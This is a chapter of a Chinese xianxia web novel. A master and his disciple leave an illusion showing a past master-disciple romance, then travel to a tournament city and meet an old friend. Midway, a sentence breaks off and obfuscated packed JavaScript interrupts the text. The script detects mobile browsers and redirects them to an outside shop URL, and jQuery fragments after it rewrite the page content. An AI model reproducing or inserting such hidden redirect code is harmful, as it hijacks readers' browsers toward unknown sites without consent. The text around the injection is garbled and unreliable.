随着幻境结束,温飞雪二人悠悠醒转。
这是个没有危险性质的幻境。
温飞雪坐在原地,有些怔愣。
他的思绪还沉浸在幻境里。
胥清风,字望舒。
望舒者,明月也。
百余年前,行者皆得一字。二十及冠,由长辈赐之。
胥清风小小年纪被姬淮带走,拜师学艺。此后便绝了尘缘。
姬淮为他取了这一个字。
那时的姬淮是什么心思?
是意愿他徒儿如月般高洁无尘。还是已将那缕清风奉为己心之月?
温飞雪不清楚。
也再没有人知道。
这么大的修真界,大多数事实都被掩在背后。暗流汹涌,表面却是风平浪静。
姬淮不知道是什么时候改了心思,在这里藏了这么一个幻境。
幻境开启的条件不多,只要是同行者两人,其中一人触碰了石碑,两人就可以进入幻境。
虽然经历幻境的方式是附身在姬淮或者胥清风身上,但很多细节其实是加快或者跳过了的。
不过也足够让人知晓整件事情的全貌了。
温飞雪有些感慨。
谁知道事情的真相是这样?
胥清风不是白眼狼,他从来没有背叛过师门,背叛过姬淮。
他们两人也不是单纯的师徒关系,而是道侣。
师徒结为道侣,罕事啊。
之前看话本,温飞雪也看过师徒之恋。但毕竟隔了一层,没什么触动。
此番算是亲身经历了一遭。
温飞雪蜷了蜷手指,却无意间碰见陆言卿的手。
温飞雪转过头,看到了陆言卿的脸。
这是他徒弟啊。都长这么大了。比胥清风也小不了太多岁。
温飞雪心上忽生几分异动,他不着痕迹地挪了挪,离陆言卿远了些许。
陆言卿还没从幻境中走出来,正在发呆,没有注意到温飞雪的动作。
“师尊,你说,为什么姬淮不澄清那个谣言呢?”
“我不知道。澄不清吧。”
“……”
陆言卿扭头看他。
他觉得自己似乎懂了些什么,但又不敢深想下去。
“走吗?”
“走吧。”
两人相跟着下了山。
城镇隔得远,夜幕已至,才到了地。
幸好此地没有宵禁,不然二人说不定会被拦在镇外。
不过这么个小城镇,也没什么必要宵禁。
温飞雪随便找了个客栈:“掌柜的。要两间上房。”
陆言卿倏地看向他,唇瓣嗫嚅半晌,终究是什么也没说。
温飞雪洗漱完毕,躺在床上,却怎么也睡不着。
他的思绪还流连在幻境里。
如今距离已算逾矩,从此后,还是要拿捏些分寸才是。
陆言卿在隔壁的床上辗转反侧,也迟迟不得入眠。
他也想的是姬淮和胥清风,但想的方面却与温飞雪背道而驰。
原来师徒之间也可以相恋吗?
如果成了师尊的道侣,就再也不用离开师尊了。
他摸了摸自己心口的位置。
他对师尊,是只有、单纯的……师徒情吗?
手掌下的心脏跳得沉稳而有力。
他已知道答案了。
一夜风雨,不知道有多少人彻夜难眠。
就算入睡,梦境里颠三倒四的,净是不可言说。
温飞雪早早起了床。
昨夜他半宿没睡,干脆就爬起来倚窗修炼。
月光澄澈,温飞雪修着修着,灵海复静,又不知不觉睡了过去。
东方才刚露出些鱼肚白不久,温飞雪就被日光盖了满脸,直接把他从睡梦中扑醒。
温飞雪揉着眼睛寻思:下次睡觉前一定要记得关窗户,这也太搅人清梦了。
他把衣服穿戴整齐,伸手拉开客房的门。
正对上陆言卿笑容灿烂的俊脸。
“师尊起了?我把早饭端上来了,师尊用一些吧。”
温飞雪侧身让开路。
他心里有点惴惴不安的疑惑:今天这徒弟怎么这么殷勤了?
陆言卿备了两副碗筷,显然这意思是要和温飞雪一起用早膳。
他在另一边坐好,把筷子递给温飞雪。
温飞雪伸手去拿,指尖却不小心与陆言卿指尖相触。
陆言卿一怔,温飞雪的手立刻就像被火烫了似的缩回去。
看见陆言卿投来的目光,温飞雪笑得有些讪讪:“那,那个。先吃饭吧,等会饭菜凉了。”
陆言卿点头不语,眼神中却划过一丝落寞。
道路尚长,要走的路还有很多啊。
两人用完早膳,就打算下楼离开。
正往下走,客栈下方的讨论声就冲了上来。
温飞雪听了一耳朵,唇角笑意渐浓:“也算我们运气好,这下可以少赶点路了。这次的大比场地,在崇安城。”
陆言卿点头:那确实近。就算是没有修为的凡人,在此地雇个马车,也能在天黑之前到达崇安城。
走到客栈门口,温飞雪临时起意:“反正我们也不赶时间,不如坐马车去,看看沿途风光。”
才刚说完,温飞雪乍然想到幻境里姬淮的提议,以及他提议背后的用意,一下子有些窘然,正想开口说算了不用了,却被陆言卿抢先应下。
“好啊。我还没怎么看过北方的景象呢。”
那便不好反悔了。
马车宽敞,一人一辆就显得怪异,两人同坐了一辆马车。
只是一人坐一边,中间塞得下一个栖痕山,总觉着有些疏离。
温飞雪挑帘望向窗外,似乎是沉迷于外面黄沙大漠的风景。
陆言卿有些挫败。转而又想到温飞雪不自在的态度,唇角又挑起来。
至少不是毫不动容,还是有机会的。
昨夜想通心思,下了决定,陆言卿的动作可一点不慢。
他师尊风华正茂如此迷人,要是被旁人拐了去,他可哭都没地方哭。
马车入了城,陆言卿先一步从车上下来,朝着温飞雪伸出手,显然是想扶他。
温飞雪没去搭理陆言卿伸出的手,自己步履矫健地跳下马车:“你师尊我年富力强,还不至于上下个马车都要人搀扶。想要扶你师尊,在等个几千年吧。”
陆言卿收回手。
旁边另一个被徒弟扶下马车的人闻言,往这边望过来。
看见是温飞雪,那人扬起声音,言语带笑:“素尘仙尊。这么久不见,修为又长进了不少啊。比之我也不差了。”
温飞雪闻声望去,颔首行礼:“万寿仙尊。”
他的目光不自觉落在扶着沈青屏的那人身上,眼神颤了颤,手指蜷进掌心。
这么多年不见,他身上的气质
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13175310|138907||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
越发显得引人注目了。
温飞雪觉得自己该难受的。欣赏的人和自己疏远。
但更多的还是平静和一点后悔。
幻境还是有些好处,至少他能勉强分清自己的情感了。
心湖起波澜,却不是所谓情爱。
当年懵懂,脑袋一热话就出了口,早知就不该冲动。
不知道他还认不认他这个好友?
陆言卿的目光也落在男子身上。
那是个穿着一袭白衣的男子。身量修长,眉目清隽,气质出尘。唇角微添一分笑,长睫上挑盛日光。瞧着是温和,又透出些莫名的疏离和冷意。
但他身上最特殊的,还是那一双琉璃色的眼睛。
那是一双极干净的眼睛。
世事繁忙,总有人忙里偷闲,弄出些毫无意义,不知所云的东西。
譬如这“修真美人榜”。
第一是圣尊,这自不必说。千年难得一见,高岭之花,是那山巅雪、天上月。
素尘仙尊紧随其后,占了个榜眼,倒也不算辱没了他师尊门楣。
其他几个师兄师姐也是榜上有名。除了齐柒这个大老粗因为所谓的“健美”忝居中游,其余人皆名列前茅。
把洛隐门的一位掌门和四个峰主拉出来一溜,任谁都要感慨,圣尊选弟子果然是看脸。
算起来,澈冽在榜上儿乎已经位于最末位,和陆言卿周围人一比,根本算不上出众。
但他就是让人无法忽视。
他的眼睛太干净了。
干净到没有一点杂质,无法用比喻去形容。素以澄澈闻名的水也只能相形见绌。
像是半空中渺然不可捉摸的一缕白烟,一瞬就会不带丝毫留恋地随风而去。
心悦他的人汇成江海,却只能驻足于远方。
太干净了,干净到叫人不忍心去破坏哪怕分毫。
只能隔得远远的,不带过去一丝浊气。
陆言卿回过神,发现男子的目光也往他们这边递过,落在他旁边。
温飞雪和澈冽对上视线。
温飞雪冲他笑了笑:“澈兄。好久不见”
男子颔首回礼:“好久不见,玠之。”
尽管面前的一幕十分正常,陆言卿却下意识觉得不对劲。
沈青屏下了马车,收回搭在澈冽手上的手,笑道:“怎的如此疏离。当年素尘可是老往我雾禅峰跑,要找澈冽交流论道。有时时间迟了,宿在澈冽院里也是有的。眼下多年不见,你们两人也生疏了?”
温飞雪回说:“怎么会?就是怕我一时贸然,吓到澈兄。”
沈青屏笑开,慈祥地拍了拍澈冽的手:“你这小人儿,还是这副脾气。澈冽怎么会被你吓到。你们老友这么久没见,肯定都想着对方。”
沈青屏的话是没什么问题的。但陆言卿就是听着不舒服。
什么叫想着对方。他师尊只想他一个!
既遇到了,来的目的也一样。四人索性同道而行。
于是,陆言卿悲哀地发现,自己成了四人中辈分修为最小的一个,平时说话都不太好插上嘴,和温飞雪相处的时间也直线下降。
两人好不容易有时间相处的时候,温飞雪也不知道是有意无意,总是在他面前提澈冽。说他们的过去,说他们以往如何结伴游历,相处又是怎样的。
说的时候,眉目间还带着笑意,让陆言卿堵得慌。
真是造孽,怎么就碰上了这两人。